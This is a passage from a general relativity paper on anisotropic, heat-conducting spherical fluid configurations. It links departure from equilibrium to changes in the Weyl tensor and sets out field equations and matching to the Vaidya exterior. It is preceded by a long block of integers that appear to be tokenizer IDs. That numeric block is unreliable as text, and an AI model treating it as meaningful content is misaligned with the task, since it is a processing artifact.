29890, 2859, 559, 367, 64, 83, 10, 393, 3151, 299, 24448, 3023, 559, 393, 2260, 1933, 19, 5932, 18, 428, 393, 3151, 63, 19, 94, 428, 209, 187, 61, 1124, 92, 50, 299, 1743, 3023, 16, 19, 94, 299, 1743, 2260, 40161, 18, 428, 393, 3151, 63, 19, 7415, 18, 16, 19, 599, 313, 18, 559, 393, 3151, 63, 19, 10, 187, 61, 1968, 92, 53, 520, 2138, 187, 187, 3113, 187, 187, 1890, 50, 393, 8275, 393, 1124, 464, 700, 2805, 299, 12886, 2260, 16, 19, 40161, 18, 428, 393, 3151, 63, 19, 7415, 18, 16, 19, 599, 187, 61, 1968, 92, 1545, 82, 2138, 187, 187, 8497, 326, 253, 7602, 275, 253, 4816, 85, 13, 83, 1337, 3124, 1337, 2162, 7884, 985, 13, 370, 5267, 16, 7064, 1366, 310, 2905, 281, 669, 3151, 5, 407, 187, 187, 7010, 3151, 2029, 1124, 92, 5267, 1217, 7064, 8633, 70, 24448, 2260, 2249, 3023, 1933, 19, 94, 187, 61, 1968, 92, 3151, 2138, 187, 187, 3404, 253, 3345, 273, 253, 6514, 3268, 13, 253, 29380, 310, 326, 273, 657, 13774, 5973, 13, 1677, 407, 187, 187, 1890, 1397, 63, 19, 30, 393, 1274, 9, 18, 2249, 1124, 92, 19, 46, 9, 86, 15734, 1179, 416, 889, 918, 10, 3443, 63, 19, 559, 374, 69, 438, 464, 1179, 416, 94, 428, 209, 187, 464, 1179, 416, 2306, 19, 393, 1274, 9, 69, 61, 3124, 63, 19, 559, 6868, 63, 19, 61, 3124, 277, 61, 2162, 63, 19, 393, 918, 10, 187, 61, 1968, 92, 55, 13774, 5973, 2138, 187, 187, 2811, 370, 86, 5, 310, 247, 673, 14, 3022, 13249, 824, 326, 370, 86, 30, 22174, 5, 310, 313, 284, 40045, 33248, 10, 247, 3635, 19400, 1527, 281, 253, 2852, 285, 669, 1179, 416, 5, 310, 247, 3635, 13249, 4816, 72, 1126, 1179, 416, 61, 1179, 416, 4203, 17, 14553, 733, 943, 320, 25995, 13, 2299, 13, 326, 13714, 8288, 13, 253, 7742, 476, 320, 2783, 275, 14599, 1959, 18361, 760, 387, 14599, 23579, 15, 187, 187, 510, 767, 13249, 2718, 4816, 85, 13, 83, 1337, 3124, 1337, 2162, 7884, 285, 4816, 86, 1337, 1179, 416, 1337, 3124, 1337, 2162, 7884, 403, 2905, 387, 253, 7548, 2553, 285, 3345, 352, 407, 187, 187, 1890, 86, 30, 85, 14, 83, 14, 19, 46, 4615, 6677, 393, 1274, 1035, 1124, 92, 83, 1217, 19, 46, 5960, 18, 61, 918, 10, 187, 61, 1968, 92, 86, 2138, 187, 187, 1890, 464, 1179, 416, 4203, 83, 187, 61, 1968, 92, 51, 2138, 187, 187, 688, 1340, 281, 3761, 25863, 253, 767, 17082, 1840, 327, 253, 7548, 2553, 370, 83, 30, 83, 2253, 6199, 9, 85, 4244, 359, 452, 281, 2430, 253, 21815, 273, 253, 806, 7936, 830, 2439, 326, 2553, 15, 1284, 906, 273, 436, 11038, 359, 4044, 187, 187, 7010, 1274, 60, 49, 64, 83, 61, 918, 62, 2253, 6199, 2029, 1274, 60, 50, 4615, 70, 1743, 2260, 16, 19, 889, 1274, 9, 18, 2249, 3151, 63, 19, 61, 918, 4800, 187, 92, 18, 16, 19, 889, 918, 62, 2253, 6199, 426, 393, 1274, 5709, 700, 2805, 61 ]

anisotropy of the pressure [@inho], which in turn are known to affect the fate of gravitational collapse [@anis]. In this work we shall consider spherically symmetric fluid configurations which are initially in equilibrium (or quasi–equilibrium), and we shall look for necessary and sufficient conditions to leave such regime. Usually, these conditions are expressed through the adiabatic index, (or some function of it) which indicates the variation of pressure with density, for a given fluid element ( see [@adiabatic] and references therein). As we shall see here, such departure from equilibrium (or quasi–equilibrium) is allowed if and only if, the Weyl tensor within the fluid distribution, changes with respect to its value in the initial (equilibrium or quasi–equilibrium) state. There is however two possible exceptions for this. One is represented by the “inflationary” equation of state $\rho+p=0$. The other situation when our result does not apply, corresponds to the case when then system leaving the equilibrium enters into dissipative regime and $\kappa T/\tau(\rho+p)=1$, where $\kappa$,$T$ and $\tau$ denote respectively the thermal conduction, the temperature and the thermal relaxation time. Both situations imply from the “dynamical” point of view, that the effective inertial mass of any fluid element vanish (see [@eim] and references therein). The above mentioned result is reminiscent, in some sense, of a one recently obtained, regarding the conditions for a transition from a non-dissipative to a dissipative regime in a FRW-flat model[@FRW]. Indeed in that case, the Weyl tensor is always zero, and such transition is only allowed if $\kappa T/\tau(\rho+p)=1$. The manuscript is organized as follows.In the next section we give the expressions for the field and transport equations, and for the Weyl tensor. In Section III the conditions for the departure from equilibrium (and quasiequilibrium) are found. Finally in the last Section the results are discussed. Field and Transport equations ============================= Field equations --------------- We consider spherically symmetric distributions of collapsing fluid, which for sake of completeness we assume to be anisotropic, undergoing dissipation in the form of heat flow, bounded by a spherical surface $\Sigma$. The line element is given in Schwarzschild-like coordinates by $$ds^2=e^{\nu} dt^2 - e^{\lambda} dr^2 - r^2 \left( d\theta^2 + sin^2\theta d\phi^2 \right) \label{metric}$$ where $\nu(t,r)$ and $\lambda(t,r)$ are functions of their arguments. We number the coordinates: $x^0=t; \, x^1=r; \, x^2=\theta; \, x^3=\phi$. The metric (\[metric\]) has to satisfy Einstein field equations $$G^\nu_\mu=-8\pi T^\nu_\mu \label{Efeq}$$ which in our case read [@BO]: $$-8\pi T^0_0=-\frac{1}{r^2}+e^{-\lambda} \left(\frac{1}{r^2}-\frac{\lambda'}{r} \right) \label{feq00}$$ $$-8\pi T^1_1=-\frac{1}{r^2}+e^{-\lambda} \left(\frac{1}{r^2}+\frac{\nu'}{r}\right) \label{feq11}$$ $$\begin{aligned} -8\pi T^2_2 = - 8\pi T^3_3 = & - &\frac{e^{-\nu}}{4}\left(2\ddot\lambda+ \dot\lambda(\dot\lambda-\dot\nu)\right) \nonumber \\ & + & \frac{e^{-\lambda}}{4} \left(2\nu''+\nu'^2 - \lambda'\nu' + 2\frac{\nu' - \lambda'}{r}\right) \label{feq2233}\end{aligned}$$ $$-8\pi T_{01}=-\frac{\dot\lambda}{r} \label{feq01}$$ where dots and primes stand for partial differentiation with respect to t and r respectively. In order to give physical significance to the $T^{\mu}_{\nu}$ components we apply the Bondi approach [@BO]. Thus, following Bondi, let us introduce purely locally Minkowski coordinates ($\tau, x, y, z$) $$d\tau=e^{\nu/2}dt\,\qquad\,dx=e^{\lambda/2}dr\,\qquad\, dy=rd\theta\,\qquad\, dz=rsin\theta d\phi$$ Then, denoting the Minkowski components of the energy tensor by a bar, we have $$\bar T^0_0=T^0_0\,\qquad\, \bar T^1_1=T^1_1\,\qquad\,\bar T^2_2=T^2_2\,\qquad\, \bar T^3_3=T^3_3\,\qquad\,\bar T_{01}=e^{-(\nu+\lambda)/2}T_{01}$$ Next, we suppose that when viewed by an observer moving relative to these coordinates with velocity $\omega$ in the radial direction, the physical content of space consists of an anisotropic fluid of energy density $\rho$, radial pressure $P_r$, tangential pressure $P_\bot$ and radial heat flux $\hat q$. Thus, when viewed by this moving observer the covariant tensor in Minkowski coordinates is $$\left(\begin{array}{cccc} \rho & -\hat q & 0 & 0 \\ -\hat q & P_r & 0 & 0 \\ 0 & 0 & P_\bot & 0 \\ 0 & 0 & 0 & P_\bot \end{array} \right)$$ Then a Lorentz transformation readily shows that $$T^0_0=\bar T^0_0= \frac{\rho + P_r \omega^2 }{1 - \omega^2} + \frac{2 Q \omega e^{\lambda/2}}{(1 - \omega^2)^{1/2}} \label{T00}$$ $$T^1_1=\bar T^1_1=-\frac{ P_r + \rho \omega^2}{1 - \omega^2} - \frac{2 Q \omega e^{\lambda/2}}{(1 - \omega^2)^{1/2}} \label{T11}$$ $$T^2_2=T^3_3=\bar T^2_2=\bar T^3_3=-P_\bot \label{T2233}$$ $$T_{01}=e^{(\nu + \lambda)/2} \bar T_{01}= -\frac{(\rho + P_r) \omega e^{(\nu + \lambda)/2}}{1 - \omega^2} - \frac{Q e^{\nu/2} e^{\lambda}}{(1 - \omega^2)^{1/2}} (1 + \omega^2) \label{T01}$$ with $$Q \equiv \frac{\hat q e^{-\lambda/2}}{(1 - \omega^2)^{1/2}} \label{defq}$$ Note that the velocity in the ($t,r,\theta,\phi$) system, $dr/dt$, is related to $\omega$ by $$\omega=\frac{dr}{dt}\,e^{(\lambda-\nu)/2} \label{omega}$$ At the outside of the fluid distribution, the spacetime is that of Vaidya, given by $$ds^2= \left(1-\frac{2M(u)}{\cal R}\right) du^2 + 2dud{\cal R} - {\cal R}^2 \left(d\theta^2 + sin^2\theta d\phi^2 \right) \label{Vaidya}$$ where $u$ is a time-like coordinate such that $u=constant$ is (asymptotically) a null cone open to the future and $\cal R$ is a null coordinate ($g_{\cal R\cal R}=0$). It should be remarked, however, that strictly speaking, the radiation can be considered in radial free streaming only at radial infinity. The two coordinate systems ($t,r,\theta,\phi$) and ($u,\cal R,\theta,\phi$) are related at the boundary surface and outside it by $$u=t-r-2M\,ln \left(\frac{r}{2M}-1\right) \label{u}$$ $${\cal R}=r \label{R}$$ In order to match smoothly the two metrics above on the boundary surface $r=r_\Sigma(t)$, we have to require the continuity of the first fundamental form across that surface. As result of this matching we obtain $$\left[P_r\right]_\Sigma=\left[Q\,e^{\lambda/2}\left(1-\omega^2\right)^ {1/2}\right]_\Sigma = \left[\hat q\